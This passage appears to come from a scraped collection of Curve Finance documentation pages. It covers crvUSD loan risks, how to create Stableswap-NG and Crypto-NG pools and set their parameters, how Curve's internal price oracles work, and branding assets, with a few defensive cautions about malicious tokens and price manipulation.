Table of contents Markets Risks Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Markets Risks Home Curve Stablecoin (crvUSD) Understanding crvUSD Curve Stablecoin infrastructure enables users to mint crvUSD using a variety of crypto collaterals. Positions are managed passively: if the price of the collateral decreases, the loan automatically enters a soft-liquidation mode , wherein some of the collateral is converted to crvUSD. Conversely, if the collateral's price increases, the system reclaims the collateral by converting crvUSD back to the collateral token. However, this process may incur some losses due to the soft-liquidations and de-liquidations. Manage crvUSD positions at https://crvusd.curve.fi/ . Markets On the Markets tab, all available collateral types are displayed. The page displays the current borrow rate , total debt, debt cap, remaining amount available for borrowing, and the total value of collateral. If a user does not have an existing loan, clicking on any market will lead to the loan creation interface. Should a loan already exist, a dollar sign overlay will appear on the left. Selecting the market in this case will lead to the loan management interface. Risks Please consider the following risk disclaimers when using the Curve Stablecoin infrastructure: If your collateral enters soft-liquidation mode, you can't withdraw it or add more collateral to your position. Should the price of the collateral drop sharply over a short time interval, your position will get hard-liquidated, with no option of de-liquidation. Please choose your leverage wisely, as you would with any collateralized debt position. If your collateral enters soft-liquidation mode, you can't withdraw it or add more collateral to your position. Should the price of the collateral change drop sharply over a short time interval, it can result in large losses that may reduce your loan's health. If you are in soft-liquidation mode and the price of the collateral goes up sharply, this can result in de-liquidation losses on the way up. If your loan's health is low, value of collateral going up could potentially reduce your underwater loan's health. If the health of your loan drops to zero or below, your position will get hard-liquidated with no option of de-liquidation. Please choose your leverage wisely, as you would with any collateralized debt position. The crvUSD stablecoin and its infrastructure are currently in beta testing. As a result, investing in crvUSD carries high risk and could lead to partial or complete loss of your investment due to its experimental nature. You are responsible for understanding the associated risks of buying, selling, and using crvUSD and its infrastructure. The value of crvUSD can fluctuate due to stablecoin market volatility or rapid changes in the liquidity of the stablecoin. crvUSD is exclusively issued by smart contracts, without an intermediary. However, the parameters that ensure the proper operation of the crvUSD infrastructure are subject to updates approved by Curve DAO. Users must stay informed about any parameter changes in the stablecoin infrastructure. Back to top", "labels": ["Documentation"]}, {"title": "Creating a Stableswap-NG pool", "html_url": "https://resources.curve.fi/factory-pools/creating-a-stableswap-ng-pool/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Stableswap NG Pool Table of contents Tokens in Pool Standard ERC-20 Tokens with Oracles Rebasing Tokens ERC-4626 Parameters Pool Info Deploying the Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Tokens in Pool Standard ERC-20 Tokens with Oracles Rebasing Tokens ERC-4626 Parameters Pool Info Deploying the Pool Home Pool Creation Creating a Stableswap-NG pool The Stableswap pool creation is appropriate for assets expected to hold a price peg very close to each other, like a pair of dollarcoins. The creation wizard will guide you through the process of creating a pool, but if you have questions throughout you are encouraged to speak with a member of the Curve team in the Telegram or Discord . Stableswap pools are liquidity pools containing up to eight tokens using the StableSwap algorithm (Curve V1). For a better understanding of Curve V1, please see here: Understanding Curve V1 . Stableswap-NG StableSwap-NG is an improved and refined version of the first StableSwap implementation. It is highly gas optimized and also includes dynamic fees which increases as liquidity utilization increases. Tokens in Pool The token selection tab can be used to select between two and eight tokens . A token can be selected by searching for the symbol of any token that is already being used on Curve, or by pasting the pool's address. Additional tokens can be added through the blue Add token button. When creating a metapool, only two tokens can be selected. One is the LP token, and the other is the token to pair against it. Warning ERC20: Users are advised to do careful due diligence on ERC20 tokens that they interact with, as this contract cannot differentiate between harmless and malicious ERC20 tokens. Oracle: When using tokens with oracles, it is important to know that they may be controlled externally by an EOA . Rebasing: Users and integrators are advised to understand how the AMM contract works with rebasing balances. ERC4626: Some ERC4626 implementations may be susceptible to Donation/Inflation attacks . Users are advised to proceed with caution. For the AMM to function correctly, the appropriate asset type needs to be chosen when selecting the assets. The following asset types are supported: Standard ERC-20 Standard ERC-20 tokens do not need any additional configuration. Tokens with Oracles Oracle Precision The precision of the rate oracle must be \\(10^{18}\\) . Otherwise, the liquidity pool will not function correctly, as the exchange rate will be broken. Some tokens might require an external rate oracle to ensure correct calculations within the AMM. This is especially useful for tokens with rates against their underlying tokens, such as rETH against ETH. In this case, when selecting a token with an oracle, the corresponding box needs to be ticked, and an extra section for the contract address and oracle price method will appear. Some tokens might source their price oracle from a contract other than the token contract. Rebasing Tokens Rebasing tokens in crypto are cryptocurrencies that automatically adjust their supply periodically based on a predetermined algorithm, typically to maintain a stable value or peg to another asset. ERC-4626 ERC-4626 is a standard designed to optimize and unify the technical parameters of yield-bearing vaults. It provides a standard API for tokenized yield-bearing vaults that represent shares of a single underlying ERC-20 token. When using these kinds of tokens, the pool calculates the underlying amount as if the underlying tokens were in the pool. Parameters Stableswap-NG offers three different default Pool Parameter Presets: Swap Fee ranging from 0% to 1% : The swap fee charged during transactions. A ranging from 1 to 5,000 : A is an amplification coefficient, which defines the pool's liquidity depth. The higher the value of A , the deeper the liquidity. Offpeg Fee Multiplier from 0 to 12.5 : A multiplier that adjusts the Swap Fee based on the pool's state. Moving Average Time ranging from 60 to 3600 seconds : The moving average time window for the built-in oracle. Offpeg Fee Multiplier Stableswap-NG introduces a dynamic fee . The use of the Offpeg Fee Multiplier allows the system to dynamically adjust the fee based on the pool's state. A tool to play around with the dynamic fee: https://www.desmos.com/calculator/zhrwbvcipo? Pool Info Finally, after setting all the parameters, a Pool Name and Pool Symbol can be chosen: Deploying the Pool On the right-hand side, there is a tab that summarizes all the tokens, parameters, and information. The pool can finally be deployed by pressing the blue Create Pool button at the bottom. After deployment, make sure to seed initial liquidity and potentially create a gauge . Back to top", "labels": ["Documentation"]}, {"title": "Creating a Tricrypto-NG Pool", "html_url": "https://resources.curve.fi/factory-pools/creating-a-tricrypto-ng-pool/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Creating a Tricrypto NG Pool Table of contents Tokens in Pool Parameters Pool Info Deploying the Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Tokens in Pool Parameters Pool Info Deploying the Pool Home Pool Creation Creating a Tricrypto-NG Pool A tricrypto-NG pool is a liquidity pool containing three volatile assets using the CryptoSwap algorithm (Curve V2). For a better understanding of Curve v2, please see here: Understanding Curve v2 . Due to safety reasons, the use of plain ETH is no longer possible. Instead, wrapped ETH (wETH) needs to be used. The following documentation will present a rundown of the process of creating such a pool using the Pool Creation Interface : Tokens in Pool In the token selection tab, three tokens can be chosen. By default, the UI allows a user to select two tokens, but clicking on the blue Add token button will extend the token selection by one more token. Parameters The UI provides two presets for parameter values: Tricrypto : Suitable for pools containing a USD stablecoin, BTC (e.g., tBTC or wBTC), and ETH. Three Coin Volatile : Suitable for pools containing a volatile token paired with ETH and USD stablecoins. On the parameters tab, you can review and adjust the predefined parameters from the preset. Crypto v2 pools contain many parameters. If you are uncertain which parameters to use, you may want to ask for help in any Curve channel before deploying. The basic parameters include the fees charged to users who interact with the pool. This is divided dynamically into a Mid fee and Out fee parameter, which represent the minimum and maximum fees during periods of low and high volatility. Mid Fee ranging from 0.005% to 3% : This is the minimum fee and is charged when the pool is perfectly balanced. Out Fee ranging from 0.01% to 3% : This is the maximum fee and is charged when the pool is completely out of balance. In CryptoSwap pools, the liquidity is concentrated. These initial liquidity concentration prices are fetched from CoinGecko . If the tokens do not exist there or for some reason cannot be fetched, the user must set these values manually. The Advanced toggle allows you to adjust several other parameters under the hood. Tip A great article on understanding parameters can be found here: https://nagaking.substack.com/p/deep-dive-curve-v2-parameters?s=curve . Amplification Parameter (A) ranging from 4,000 to 400,000,000 : Larger values of A make the curve better resemble a straight line in the center (when the pool is near balance). Highly volatile assets should use a lower value, while assets that are closer together may be best with a higher value. Gamma ranging from 0.00000001 to 0.002 : The gamma parameter can further adjust the shape of the curve. Default values recommend 0.000145 for volatile assets and 0.0001 for less volatile assets. Allowed Extra Profit ranging from 0 to 0.01 : As the pool takes profit, the allowed extra profit parameter allows for greater values. Recommended 0.000002 for volatile assets and 0.00000001 for less volatile assets. Fee Gamma ranging from 0 to 1 : Adjusts how fast the fee increases from Mid Fee to Out Fee. Lower values cause fees to increase faster with imbalance. Recommended value of 0.0023 for volatile assets and 0.005 for less volatile assets. Adjustment Step ranging from 0 to 1 : As the pool rebalances, it must do so in units larger than the adjustment step size. Volatile assets are suggested to use larger values (0.000146), while less volatile assets do not move as frequently and may use smaller step sizes (default 0.0000055). Moving Average Time ranging from 0 to 604,800 seconds : The price oracle uses an exponential moving average to dampen the effect of changes. This parameter adjusts the half-life used. Pool Info Finally, after setting all the parameters, a Pool Name and Pool Symbol can be chosen: Deploying the Pool On the right-hand side, there is a tab that summarizes all the tokens, parameters, and information. The pool can finally be deployed by pressing the blue Create Pool button at the bottom. After deployment, make sure to seed initial liquidity and create a gauge . Back to top", "labels": ["Documentation"]}, {"title": "Creating a Twocrypto-NG Pool", "html_url": "https://resources.curve.fi/factory-pools/creating-a-twocrypto-ng-pool/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Twocrypto NG Pool Table of contents Tokens in Pool Parameters Pool Info Deploying the Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Tokens in Pool Parameters Pool Info Deploying the Pool Home Pool Creation Creating a Twocrypto-NG Pool A twocrypto-NG pool is a liquidity pool containing two volatile assets using the CryptoSwap algorithm (Curve V2). For a better understanding of Curve v2, please see here: Understanding Curve v2 . Due to safety reasons, the use of plain ETH is no longer possible. Instead, wrapped ETH (wETH) needs to be used. The following documentation will present a rundown of the process of creating such a pool using the Pool Creation Interface : Tokens in Pool In the token selection tab, two tokens can be chosen. By default, the UI allows a user to select two tokens, but clicking on the blue Add token button will extend the token selection by one more token, which would result in the creation of a Tricrypto-NG pool . Parameters The UI provides three presets for parameter values: Crypto : Suitable for most volatile pairs such as LDO <> ETH Forex : Suitable for forex pairs with low relative volatility such as crvUSD <> EURe Liquidity Staking Derivatives : Suitable for liquid staking derivatives soft-pegged to its underlying asset such as wETH <> cbETH Liquid Restaking Tokens : Suitable for liquid restaking tokens such as WETH <> pufETH. On the parameters tab, you can review and adjust the predefined parameters from the preset. Crypto v2 pools contain many parameters. If you are uncertain which parameters to use, you may want to ask for help in any Curve channel before deploying. The basic parameters include the fees charged to users who interact with the pool. This is divided dynamically into a Mid fee and Out fee parameter, which represent the minimum and maximum fees during periods of low and high volatility. Mid Fee ranging from 0.005% to 3% : This is the minimum fee and is charged when the pool is perfectly balanced. Out Fee ranging from 0.26% to 3% : This is the maximum fee and is charged when the pool is completely out of balance. In CryptoSwap pools, the liquidity is concentrated. These initial liquidity concentration prices are fetched from CoinGecko . If the tokens do not exist there or for some reason cannot be fetched, the user must set these values manually. The Advanced toggle allows you to adjust several other parameters under the hood. Tip A great article on understanding parameters can be found here: https://nagaking.substack.com/p/deep-dive-curve-v2-parameters?s=curve . Amplification Parameter (A) ranging from 4,000 to 400,000,000 : Larger values of A make the curve better resemble a straight line in the center (when the pool is near balance). Highly volatile assets should use a lower value, while assets that are closer together may be best with a higher value. Gamma ranging from 0.00000001 to 1.99 : The gamma parameter can further adjust the shape of the curve. Default values recommend 0.000145 for volatile assets and 0.0001 for less volatile assets. Allowed Extra Profit ranging from 0 to 0.01 : As the pool takes profit, the allowed extra profit parameter allows for greater values. Recommended 0.000002 for volatile assets and 0.00000001 for less volatile assets. Fee Gamma ranging from 0 to 1 : Adjusts how fast the fee increases from Mid Fee to Out Fee. Lower values cause fees to increase faster with imbalance. Recommended value of 0.0023 for volatile assets and 0.005 for less volatile assets. Adjustment Step ranging from 0 to 1 : As the pool rebalances, it must do so in units larger than the adjustment step size. Volatile assets are suggested to use larger values (0.000146), while less volatile assets do not move as frequently and may use smaller step sizes (default 0.0000055). Moving Average Time ranging from 0 to 604,800 seconds : The price oracle uses an exponential moving average to dampen the effect of changes. This parameter adjusts the half-life used. Pool Info Finally, after setting all the parameters, a Pool Name and Pool Symbol can be chosen: Deploying the Pool On the right-hand side, there is a tab that summarizes all the tokens, parameters, and information. The pool can finally be deployed by pressing the blue Create Pool button at the bottom. After deployment, make sure to seed initial liquidity and create a gauge . Back to top", "labels": ["Documentation"]}, {"title": "Curve Pool Creation", "html_url": "https://resources.curve.fi/factory-pools/pool-creation-overview/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Home Pool Creation Curve Pool Creation The Curve pool creation interface allows any user to permissionlessly deploy a Curve pool. These pools can contain a variety of assets, including pegged tokens, unpegged tokens, and some pool tokens, for example 3crv. This interface supports deploying pools on most chains, although there might be some chains that are not supported yet. Liquidity Pool Risks Each liquidity pool brings risks with it. Before using or creating any pools, please read the Risk Disclaimer . Asset 1 Pool Creation Interface To get started, visit the Pool Creation tab at the top of the Curve homepage, and select whether you would like to create a \"Stableswap Pool\" (a pool with pegged assets, e.g., crvUSD <> USDT) or a \"Cryptoswap Pool\" (containing assets whose prices may be volatile, e.g., CRV <> ETH). Info NG stands for New-Generation and represents enhanced and improved versions of prior implementations. All newly created pools are \"new-generation pools\". Stableswap Stableswap pools are liquidity pools containing up to eight pegged assets, for example crvUSD <> USDT <> USDC. Getting started Twocrypto NG Twocrypto pools are liquidity pools containing two volatile assets, for example CRV <> ETH. Getting started Tricrypto NG Tricrypto pools are liquidity pools containing three volatile assets, for example crvUSD <> BTC <> ETH. Getting started Back to top", "labels": ["Documentation"]}, {"title": "Understanding oracles", "html_url": "https://resources.curve.fi/factory-pools/understanding-oracles/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Understanding oracles Table of contents Purpose Exponential Moving Average Updates Price Oracle Profits and Liquidity Balances Manipulation v1 Pools LLAMMA Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Purpose Exponential Moving Average Updates Price Oracle Profits and Liquidity Balances Manipulation v1 Pools LLAMMA Home Pool Creation Understanding oracles This article primarily covers the role of internal price oracles within Curve Finance v2 pools, with a brief note at the end of LLAMMA price oracles . Please note that Curve v1 and v2 pools do not rely on external price oracles. Misuse of external price oracles is a contributing factor to several major DeFi hacks. If you are looking to use Curves price oracle functions, or any price oracle, to provide on-chain pricing data in a decentralized application you are building, we recommend extreme caution. Purpose Curve v2 pools , which consist of assets with volatile prices, require a means of tracking prices. Instead of relying on external oracles, the pool instead calculates the price of these assets internally based on the trading activity within the pool. This is tracked by two similar but distinct parameters: Price Oracle: The pools expectation of the assets price Price Scale: The price based on the pools actual concentration of liquidity Pools keep track of recent trades within the pool as a variable called last_prices . The price_oracle is calculated as an exponential moving average of recent trade prices. The price_oracle represents what the pool believes is the fair price of the asset . In contrast, price_scale is a snapshot of how the liquidity in the pool is actually distributed. For this reason, price_scale lags price_oracle . As users make trades, the pool calculates how to profitably readjust liquidity , and the price_scale moves in the direction of the price_oracle . Price Oracle and Price Scale shown in the Curve UI Exponential Moving Average As discussed above, the price_oracle variable is calculated as an exponential moving average of last_prices . For comparison, traders commonly rely on a simple moving average as a technical analysis indicator, which calculates the average of a certain number points (ie, a 200-day moving average computes the average of the trailing 200 days of data). The exponential moving average\" is similar, except it applies a weighting to emphasize newer data over older data. This weighting falls off exponentially as it looks further back in time, so it can react quicker to recent trends. Updates An internal function tweak_price is called every time prices might need to be updated by an operation which might adjust balances within a pool (hereafter referred to as a liquidity operation ): add_liquidity remove_liquidity_one_coin exchange exchange_underlying The tweak_price function is a gas expensive function which can execute several state changing operations to state variables_._ Price Oracle The price_oracle is updated only once per block. If the current timestamp is greater than the timestamp of the last update, then price_oracle is updated using the previous price_oracle value and data from last_prices . The updated price_oracle is then used to calculate the vector distance from the price_scale , which is used to determine the amount of adjustment required for the price_scale . Profits and Liquidity Balances Curve v2 pools operate on profits. That is, liquidity is rebalanced when the pool has earned sufficient profits to do so. Every time a liquidity operation occurs, the pool chooses whether it should spend profits on rebalancing. The pools actions may be considered as an attempt to rebalance liquidity close to market prices. Pools perform all such operations strictly with profits, never with user funds. Profits are occasionally claimed by administrators, otherwise funds remain in the pool. In other words, profits can be calculated from the following function: profits == erc20.balanceOf(i) - pool.balances(i) Internally, every time the tweak_price function is called during a liquidity operation , the pool tracks profits. It then uses the updated profit values to consider if it should rebalance liquidity. Specifically, pools carry a public parameter called allowed_extra_profit which works like a buffer. If the pools virtual price has grown by more than a function of profits and the allowed_extra_profit buffer value, then the pool is considered profitable enough to rebalance liquidity. From here, the pool further checks that the price_scale is sufficiently different from price_oracle , to avoid rebalancing liquidity when prices are pegged. Finally, the pool computes the updates to the + and how this affects other pool parameters. If profits still allow, then the liquidity is rebalanced and prices are adjusted. Manipulation We do not recommend using Curve pools by themselves as canonical price oracles. It is possible, particularly with low liquidity pools, for outside users to manipulate the price. Curve pools nonetheless include protections against some forms of manipulation. The logic of the Curve price_oracle variable only updates once per block, which makes it more resistant to manipulation from malicious trading activity within a single block. Due to the fact that changes to price_oracle are dampened by an exponential moving average , attempts to manipulate the price may succeed but would require a prolonged attack over several blocks. Actual $CVX price versus CVX-ETH Pool Price Oracle and Price Scale during rapid volatility These safeguards all help to prevent various forms of manipulation. However, for pools with low liquidity, it is not difficult for whales to manipulate the price over the course of several transactions. When relying on oracles on-chain, it is safest to compare results among several oracles and revert if any is behaving unusually. v1 Pools Newer v1 Pools also contain a price oracle function, which also displays a moving average of recent prices. If the moving average price was written to the contract in the same block it will return this value, otherwise it will calculate on the fly any changes to the moving average since it was last written. Curve v1 pools do not have a concept of price scale, so no endpoint exists for retreiving this value. Older v1 pools will also not have a price oracle, so use caution if you are attempting to retrieve this value on-chain. LLAMMA The LLAMMA use of oracles is quite different than Curve v2 pools in that it can utilize external price oracles. In LLAMMA, the price_oracle function refers to the collateral price (which can be thought of as the current market price) as determined by an external contract. For example, LLAMMA uses price_oracle to convert $ETH to $crvUSD at a specific collateral price. When the external price is higher than the upper price (internally: P_UP ), all assets in the band range are converted to $ETH. When the price is lower than the lower price (internally: P_DOWN ), all assets are converted to $crvUSD. When the oracle price is in the middle, the current band is partially converted, with the exact proportion determined by price changes. When the external price changes, an arbitrage opportunity exists. External arbitrageurs can deposit $ETH or $crvUSD to balance the pool, until the pool price reaches parity with the external price. LLAMMA applies an exponential moving average to the price_oracle to prevent users from absorbing losses due to drastic fluctuations. More information on price oracles and other LLAMMA dynamics are available at this article . Back to top", "labels": ["Documentation"]}, {"title": "Branding & Icons", "html_url": "https://resources.curve.fi/glossary-branding/branding/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Branding & Icons Info To have a protocol's asset icon deployed on the Curve frontend, the icon needs to be added to the curve-assets repository on GitHub. See the repository for more information. Official Curve logos can be found here: Logo Description Data Type and Size Link Asset 1 CRV SVG Download Asset 1 CRV PNG (200x200) Download image/svg+xml veCRV SVG Download image/svg+xml veCRV PNG (256x256) Download crvUSD SVG Download crvUSD PNG (200x200) Download Back to top", "labels": ["Documentation"]}, {"title": "Glossary", "html_url": "https://resources.curve.fi/glossary-branding/glossary/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit 